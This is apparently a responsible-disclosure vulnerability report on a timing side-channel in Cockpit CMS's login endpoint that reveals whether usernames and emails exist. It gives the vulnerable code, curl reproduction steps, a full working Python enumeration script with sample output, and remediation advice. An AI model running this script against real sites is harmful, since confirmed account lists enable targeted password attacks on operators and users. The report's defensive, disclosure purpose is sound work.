SECURITY VULNERABILITY REPORT

Cockpit CMS Security Report

User Enumeration via Timing Side-Channel in Authentication Endpoint

Author: Matéo Florian Callec

2026/06/22



Version	**1.0.0**
Intended for	**Cockpit CMS**
Reference	**MFC-2026-001**

CONFIDENTIAL / TLP:AMBER

Legal Notices & Disclaimers

Copyright

© 2026 Matéo Florian Callec — https://mateocallec.com. All rights reserved. This document and its contents are the intellectual property of the author(s). Reproduction, redistribution, or modification of this document, in whole or in part, without the express written permission of the author(s) is strictly prohibited.

Confidentiality Notice — TLP:AMBER

CONFIDENTIAL — TLP:AMBER

This document is classified **TLP:AMBER**. It may be shared within the recipient organisation on a need-to-know basis, but must not be shared externally without explicit authorisation from the author(s). Recipients must protect this information and not disclose it to external parties.

Sensitive Information & Responsible Disclosure

SECURITY SENSITIVE CONTENT

This document may contain information pertaining to security vulnerabilities, exploits, attack techniques, or other sensitive cybersecurity research. This information is provided strictly for educational, research, and defensive security purposes. The author(s) expressly disclaim all liability for any misuse, direct or indirect damages, or illegal activities resulting from the application, adaptation, or redistribution of the content herein. Readers are solely responsible for ensuring that their use of this information complies with all applicable laws and ethical guidelines.

Contents

Legal Notices & Disclaimers **2**

1 Executive Summary **4**

2 Vulnerability Details **4**

2.1 Overview 4

2.2 Affected Code 4

2.3 Contributing Factors 5

3 Impact Assessment **5**

3.1 Direct Impact 6

3.2 Attack Scenario 6

3.3 Tested Timing Measurements 6

4 Proof of Concept **6**

4.1 Environment 6

4.2 Manual Reproduction 7

4.3 Automated PoC Script 7

4.4 PoC Output 13

5 Recommended Remediation **14**

5.1 Primary Fix 14

5.2 Additional Fixes 15

6 Severity Classification **15**

6.1 CVSS 4.0 15

6.2 CWE Classification 16

7 Disclosure Timeline **16**

1 Executive Summary

A timing side-channel vulnerability was identified in the Cockpit CMS authentication endpoint (`/auth/check`). The vulnerability allows an unauthenticated remote attacker to determine whether a given username or email address corresponds to a valid account in the system.

The root cause is an asymmetric code path in the login logic: when the submitted username matches an existing account, the server performs a bcrypt password verification (~200ms). When no account is found, the server returns immediately (~10ms). This 20x response time difference is deterministic and trivially observable, allowing reliable enumeration of valid accounts at scale.

The vulnerability was confirmed against Cockpit CMS version 2.14.0 with a working proof of concept. No authentication, API key, or special configuration is required to exploit it.

Affected Software	Cockpit CMS (cockpit-hq/cockpit)
Affected Versions	<= 2.14.0 (latest at time of writing)
Severity	Medium (CVSS 4.0: 6.9)
CWE Classification	CWE-208 (Observable Timing Discrepancy)
Authentication Required	None
Disclosure Date	2026-06-22

2 Vulnerability Details

2.1 Overview

The Cockpit CMS login flow is handled by two components:

1. **`modules/App/Controller/Auth.php`** — the `/auth/check` controller that receives login requests
2. **`modules/App/Helper/Auth.php`** — the `authenticate()` method that performs the database lookup and password verification

When a login request is submitted, the server looks up the username (or email) in the database. If a matching account is found, `password_verify()` is called to compare the submitted password against the stored bcrypt hash. If no account is found, the function returns `false` immediately without performing any cryptographic operation.

The bcrypt verification consistently takes approximately 200ms, while the early return takes approximately 10ms. This timing difference is observable over the network and constitutes a reliable oracle for account existence.

2.2 Affected Code

Primary location — `modules/App/Helper/Auth.php`, lines 33–45:

```
public function authenticate(array $data): mixed {

    $data = array_merge([
        'user'     => '',
```

```
            'email'    => '',
            'password' => ''
        ], $data);

        if (!$data['password']) return false;

        $filter = ['active' => true];

        if ($data['email']) {
            $filter['email'] = $data['email'];
        } else {
            $filter['user'] = $data['user'];
        }

        $user = $this->app->dataStorage->findOne('system/users', $filter);

        // When $user is null, password_verify() is never called.
        // This creates the timing difference.
        if ($user && (password_verify($data['password'], $user['password']))) {
            $user = array_merge($data, (array)$user);
            unset($user['password']);
            $this->app->trigger('app.user.authenticate', [&$user]);
            return $user;
        }

        return false;
    }
```

The same timing leak pattern also exists in two additional endpoints:

- **Magic link** — `modules/App/Controller/Auth.php`, lines 83–85: calls `sleep(1)` only when the user does not exist.
- **Password reset** — `modules/App/Controller/Auth.php`, lines 304–306: identical `sleep(1)` behavior for non-existing accounts.

2.3 Contributing Factors

Two design choices amplify the impact of this vulnerability:

1. **No rate limiting on the authentication endpoint.** The `/auth/check` route has no built-in rate limiting or account lockout mechanism. During testing, sustained rates of 91 requests per second were achieved with no throttling or blocking.

1. **Both usernames and emails are enumerable.** The authentication endpoint accepts either format. If the submitted value contains an `@` character, it is treated as an email address (line 181 of `Auth.php`). Otherwise, it is treated as a username.

3 Impact Assessment

3.1 Direct Impact

The vulnerability enables an attacker to build a confirmed list of valid usernames and email addresses registered in the Cockpit CMS instance. The login endpoint returns a generic `{"success":false}` response for both invalid usernames and invalid passwords, which is the correct security behavior. However, the timing difference completely undermines this protection — the attacker can determine with certainty whether the username or the password was the incorrect field.

This renders the generic error message useless as a security measure. With a confirmed list of valid usernames, the attacker can launch a targeted password brute-force — they no longer waste attempts on accounts that don't exist, and they know that every failed login is a wrong password, not a wrong username.

3.2 Attack Scenario

1. **Reconnaissance.** The attacker visits the target's login page. No credentials are needed.

1. **Enumeration.** The attacker submits login requests with candidate usernames (from a common username wordlist) and an arbitrary password. For each request, the response time is measured. Responses above ~100ms indicate an existing account; responses below ~20ms indicate a non-existing account.

1. **Targeted brute-force.** With a confirmed list of valid usernames, the attacker launches a password attack exclusively against those accounts. Every failed attempt is known to be a wrong password (not a wrong username), maximizing efficiency. The absence of rate limiting permits high-throughput attacks.

3.3 Tested Timing Measurements

The following measurements were collected against a Cockpit CMS 2.14.0 instance running in Docker:

Account Status	Average Response Time	Sample Size
Account exists	199–214ms	20 requests
Account does not exist	2–16ms	20 requests

The gap is consistent across repeated measurements with zero overlap between the two distributions.

4 Proof of Concept

4.1 Environment

- **Target:** Cockpit CMS v2.14.0 running on Docker (`cockpithq/cockpit:core-latest`)
- **Attacker machine:** Kali Linux, Python 3 with `requests` library
- **Network:** Local (localhost). The timing difference is large enough to be reliable over the internet.

4.2 Manual Reproduction

```
# Step 1: Obtain a session from the login page
curl -s -c /tmp/ck.txt http://TARGET/auth/login > /dev/null
CSRF=$(curl -s -b /tmp/ck.txt http://TARGET/auth/login | grep -oP 'csrf:
    "\K[^"]+')

# Step 2: Test an existing username (observe ~200ms response time)
time curl -s -b /tmp/ck.txt -H "Content-Type: application/json" \
  http://TARGET/auth/check \
  -d
     "{\"auth\":{\"user\":\"admin\",\"password\":\"x\"},\"csrf\":\"$CSRF\"}"

# Step 3: Test a non-existing username (observe ~10ms response time)
time curl -s -b /tmp/ck.txt -H "Content-Type: application/json" \
  http://TARGET/auth/check \
  -d
     "{\"auth\":{\"user\":\"nonexistent\",\"password\":\"x\"},\"csrf\":\"$CSRF\"}"
```

Both requests return the same response body (`{"success":false}`) and the same HTTP status code (200). The only observable difference is the response time.

4.3 Automated PoC Script

The following Python script automates the enumeration process. It auto-calibrates the timing threshold, supports both username and email enumeration, and includes a confirmation round mechanism to eliminate false positives.

Requirements: Python 3.6+, `requests` library (`pip install requests`).

```
#!/usr/bin/env python3
"""
Cockpit CMS v2.14.0 --- User Enumeration via Login Timing Side-Channel

The /auth/check endpoint leaks whether a username or email exists
through response timing. When the account exists, password_verify()
runs (~200ms bcrypt). When it doesn't, the server returns immediately
(~10ms). No authentication or API key is required.

Root cause: modules/App/Helper/Auth.php:33-35 --- password_verify()
is only called when the user is found in the database.

Usage:
  python3 user-enum.py --url http://target/cockpit --usernames users.txt
  python3 user-enum.py --url http://target/cockpit --emails emails.txt
  python3 user-enum.py --url http://target/cockpit --username admin
"""

import argparse
import json
import statistics
import sys
```

```python
import time
from typing import Optional

import requests
requests.packages.urllib3.disable_warnings()


BANNER = """
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+  Cockpit CMS 2.x --- User Enumeration via Timing               +
+  Zero authentication required                                  +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
"""


class CockpitUserEnum:

    def __init__(self, base_url: str, verify_ssl: bool = False,
                 proxy: Optional[str] = None, timeout: int = 15,
                 threshold_ms: Optional[int] = None):
        self.base_url = base_url.rstrip("/")
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.threshold_ms = threshold_ms
        self.request_count = 0

        self.session = requests.Session()
        self.session.verify = verify_ssl
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}

        self.csrf_token = None
        self._init_session()

    def _init_session(self):
        """Visit the login page to get a session cookie and CSRF token."""
        resp = self.session.get(
            f"{self.base_url}/auth/login", timeout=self.timeout
        )
        resp.raise_for_status()

        import re
        match = re.search(r'csrf:\s*"([^"]+)"', resp.text)
        if not match:
            print("[!] Could not extract CSRF token from login page")
            sys.exit(1)

        self.csrf_token = match.group(1)

    def _probe(self, identifier: str) -> float:
        """
        Send a login attempt and return the response time in milliseconds.
        The identifier is sent as the 'user' field --- Cockpit auto-detects
        whether it's a username or email (Auth.php line 181).
```

```
        """
        payload = {
            "auth": {"user": identifier, "password": "x"},
            "csrf": self.csrf_token,
        }

        self.request_count += 1
        start = time.perf_counter()
        try:
            resp = self.session.post(
                f"{self.base_url}/auth/check",
                json=payload,
                timeout=self.timeout,
            )
        except requests.RequestException as e:
            print(f"[!] Request failed for '{identifier}': {e}")
            return -1

        elapsed_ms = (time.perf_counter() - start) * 1000

        if resp.status_code == 412:
            body = resp.json() if resp.text else {}
            if "SESSION_INVALID" in str(body.get("error", "")):
                print("[!] Session expired --- refreshing...")
                self._init_session()
                return self._probe(identifier)

        return elapsed_ms

    def calibrate(self) -> int:
        """
        Auto-detect the timing threshold by probing known-impossible
           usernames.
        Returns a threshold in ms above which a user is considered to
           exist.
        """
        print("[*] Calibrating baseline timing...")
        fake_times = []
        for i in range(5):
            t =
               self._probe(f"__calibration_fake_user_{i}_{int(time.time())}__")
            if t > 0:
                fake_times.append(t)

        if not fake_times:
            print("[!] Calibration failed --- all requests errored")
            return 100

        baseline = statistics.mean(fake_times)
        stddev = statistics.stdev(fake_times) if len(fake_times) > 1 else 5

        threshold = max(baseline * 5, baseline + 50)

        print(f"    Baseline: {baseline:.0f}ms (stddev: {stddev:.0f}ms)")
```

```
        print(f"    Threshold: {threshold:.0f}ms (responses above this -> user exists)")

        return int(threshold)

    def probe_single(self, identifier: str, rounds: int = 3) -> dict:
        """
        Probe a single identifier multiple times and return the result.
        Multiple rounds reduce false positives from network jitter.
        """
        times = []
        for _ in range(rounds):
            t = self._probe(identifier)
            if t > 0:
                times.append(t)

        if not times:
            return {"identifier": identifier, "exists": None, "avg_ms": 0, "times": []}

        avg = statistics.mean(times)
        exists = avg > self.threshold_ms

        return {
            "identifier": identifier,
            "exists": exists,
            "avg_ms": avg,
            "times": times,
        }

    def enumerate(self, identifiers: list, rounds: int = 1) -> list:
        """Enumerate a list of usernames/emails."""
        results = []
        found = []
        total = len(identifiers)

        for i, ident in enumerate(identifiers, 1):
            t = self._probe(ident)

            exists = t > self.threshold_ms if t > 0 else None
            tag = "[EXISTS]" if exists else "[      ]"

            if exists:
                found.append(ident)

            print(f"  {tag} {ident} --- {t:.0f}ms  ({i}/{total})")
            results.append({"identifier": ident, "exists": exists, "ms": t})

        if rounds > 1 and found:
            print(f"\n[*] Confirming {len(found)} candidates with {rounds} rounds...")
            confirmed = []
            for ident in found:
```

```
                result = self.probe_single(ident, rounds=rounds)
                tag = "[CONFIRMED]" if result["exists"] else "[FALSE POS]"
                print(f"  {tag} {ident} --- avg {result['avg_ms']:.0f}ms "
                      f"({', '.join(f'{t:.0f}' for t in result['times'])}ms)")
                if result["exists"]:
                    confirmed.append(ident)
            found = confirmed

        return results, found


def main():
    parser = argparse.ArgumentParser(
        description="Cockpit CMS User Enumeration via Timing Side-Channel",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Test a single username
  %(prog)s --url http://target --username admin

  # Test a single email
  %(prog)s --url http://target --email admin@company.com

  # Enumerate from a username wordlist
  %(prog)s --url http://target --usernames users.txt

  # Enumerate from an email list
  %(prog)s --url http://target --emails emails.txt

  # Confirm results with 3 rounds per candidate
  %(prog)s --url http://target --usernames users.txt --rounds 3

  # Route through Burp
  %(prog)s --url http://target --username admin --proxy http://127.0.0.1:8080
        """,
    )

    parser.add_argument("--url", required=True, help="Cockpit base URL")

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--username", type=str, help="Single username to test")
    group.add_argument("--email", type=str, help="Single email to test")
    group.add_argument("--usernames", type=str, help="File with usernames (one per line)")
    group.add_argument("--emails", type=str, help="File with emails (one per line)")

    parser.add_argument("--rounds", type=int, default=1,
                        help="Confirmation rounds for each candidate (default: 1)")
    parser.add_argument("--threshold", type=int, default=None,
```

```
                        help="Manual timing threshold in ms (default: auto-calibrate)")
    parser.add_argument("--proxy", type=str, default=None,
                        help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    parser.add_argument("--timeout", type=int, default=15,
                        help="Request timeout in seconds")
    parser.add_argument("--no-verify-ssl", action="store_true",
                        help="Disable SSL certificate verification")

    args = parser.parse_args()

    print(BANNER)
    print(f"[*] Target: {args.url}")

    enumerator = CockpitUserEnum(
        base_url=args.url,
        verify_ssl=not args.no_verify_ssl,
        proxy=args.proxy,
        timeout=args.timeout,
    )

    print(f"[*] Session obtained from login page")

    if args.threshold:
        enumerator.threshold_ms = args.threshold
        print(f"[*] Using manual threshold: {args.threshold}ms")
    else:
        enumerator.threshold_ms = enumerator.calibrate()

    print()
    start = time.time()

    if args.username or args.email:
        ident = args.username or args.email
        kind = "username" if args.username else "email"
        rounds = max(args.rounds, 3)
        print(f"[*] Testing {kind}: {ident} ({rounds} rounds)")
        result = enumerator.probe_single(ident, rounds=rounds)

        if result["exists"] is None:
            print(f"[-] Could not determine --- all requests failed")
        elif result["exists"]:
            print(f"[+] {ident} EXISTS (avg {result['avg_ms']:.0f}ms --- "
                  f"threshold {enumerator.threshold_ms}ms)")
        else:
            print(f"[-] {ident} does not exist (avg {result['avg_ms']:.0f}ms)")

        print(f"    Timings: {', '.join(f'{t:.0f}ms' for t in result['times'])}")

    else:
        filepath = args.usernames or args.emails
        kind = "usernames" if args.usernames else "emails"
```

```
        try:
            with open(filepath) as f:
                identifiers = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"[!] File not found: {filepath}")
            sys.exit(1)

        print(f"[*] Loaded {len(identifiers)} {kind} from {filepath}")
        print(f"[*] Threshold: {enumerator.threshold_ms}ms")
        print()

        results, found = enumerator.enumerate(identifiers,
            rounds=args.rounds)

        print(f"\n{'='*50}")
        if found:
            print(f"[+] Found {len(found)} existing account(s):")
            for ident in found:
                print(f"    ? {ident}")
        else:
            print("[-] No existing accounts found")

    elapsed = time.time() - start
    print(f"\n[*] Completed in {elapsed:.1f}s ({enumerator.request_count}
        requests)")


if __name__ == "__main__":
    main()
```

Usage:

```
python3 user-enum.py --url http://TARGET --usernames users.txt --rounds 3
```

4.4 PoC Output

The following output was captured against a live test instance with two registered accounts (`admin` and `user`) and twelve non-existing usernames:

```
$ python3 user-enum.py --url http://localhost --usernames test-users.txt
    --rounds 3

+------------------------------------------------------------+
+  Cockpit CMS 2.x --- User Enumeration via Timing            +
+  Zero authentication required                              +
+------------------------------------------------------------+

[*] Target: http://localhost
[*] CSRF token obtained from login page
[*] Calibrating baseline timing...
    Baseline: 2ms (stddev: 0ms)
```

```
    Threshold: 52ms (responses above this -> user exists)

[*] Loaded 14 usernames from test-users.txt
[*] Threshold: 52ms

  [EXISTS] admin --- 199ms  (1/14)
  [EXISTS] user --- 199ms  (2/14)
  [      ] root --- 3ms  (3/14)
  [      ] test --- 2ms  (4/14)
  [      ] editor --- 2ms  (5/14)
  [      ] john --- 2ms  (6/14)
  [      ] jane --- 2ms  (7/14)
  [      ] moderator --- 2ms  (8/14)
  [      ] publisher --- 2ms  (9/14)
  [      ] webmaster --- 2ms  (10/14)
  [      ] superadmin --- 2ms  (11/14)
  [      ] manager --- 2ms  (12/14)
  [      ] developer --- 2ms  (13/14)
  [      ] support --- 2ms  (14/14)

[*] Confirming 2 candidates with 3 rounds...
  [CONFIRMED] admin --- avg 199ms (199, 199, 199ms)
  [CONFIRMED] user --- avg 199ms (200, 199, 199ms)

==================================================
[+] Found 2 existing account(s):
    ? admin
    ? user

[*] Completed in 1.6s (25 requests)
```

The script correctly identified both existing accounts with zero false positives and zero false negatives. The full enumeration and confirmation completed in 1.6 seconds using 25 HTTP requests.

5 Recommended Remediation

5.1 Primary Fix

Ensure that both code paths (user found and user not found) take the same amount of time by executing `password_verify()` against a dummy bcrypt hash when no account is found:

```php
// modules/App/Helper/Auth.php --- authenticate()

$user = $this->app->dataStorage->findOne('system/users', $filter);

if (!$user) {
    // Constant-time: run bcrypt so timing is identical to the user-found
       path
    password_verify(
        $data['password'],
        '$2y$10$abcdefghijklmnopqrstuuABCDEFGHIJKLMNOPQRSTUVWX'
```

```
        );
        return false;
    }

    if (password_verify($data['password'], $user['password'])) {
        // ... existing success logic
    }

    return false;
```

5.2 Additional Fixes

1. **Magic link endpoint** (`modules/App/Controller/Auth.php`, line 83): Replace `sleep(1)` with actual work (JWT creation and a discarded mailer call) so both paths take similar time, or apply the sleep unconditionally.

1. **Password reset endpoint** (`modules/App/Controller/Auth.php`, line 304): Same fix as above.

1. **Rate limiting**: Implement rate limiting on the `/auth/check`, `/auth/magiclink`, and `/auth/reset` endpoints. A reasonable default would be 5–10 attempts per IP address per minute.

6 Severity Classification

6.1 CVSS 4.0

Metric	Value	Justification
Attack Vector	Network	Exploitable remotely over HTTP
Attack Complexity	Low	20x timing difference requires no special technique
Attack Requirements	None	No specific deployment configuration required
Privileges Required	None	No authentication needed
User Interaction	None	Fully automated, no victim interaction needed
Confidentiality (Vulnerable)	Low	Leaks account existence, not credentials
Integrity (Vulnerable)	None	No data modification
Availability (Vulnerable)	None	No denial of service
Confidentiality (Subsequent)	None	No downstream system impact
Integrity (Subsequent)	None	No downstream system impact
Availability (Subsequent)	None	No downstream system impact

Vector string: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`

Score: 6.9 (Medium)

6.2 CWE Classification

- **CWE-208** — Observable Timing Discrepancy
- **CWE-204** — Observable Response Discrepancy

7 Disclosure Timeline

Date	Event
2026-06-22	Vulnerability discovered and confirmed with PoC
2026-06-22	Report sent to maintainer
—	Vendor response pending
—	Patch release pending
—	Public disclosure pending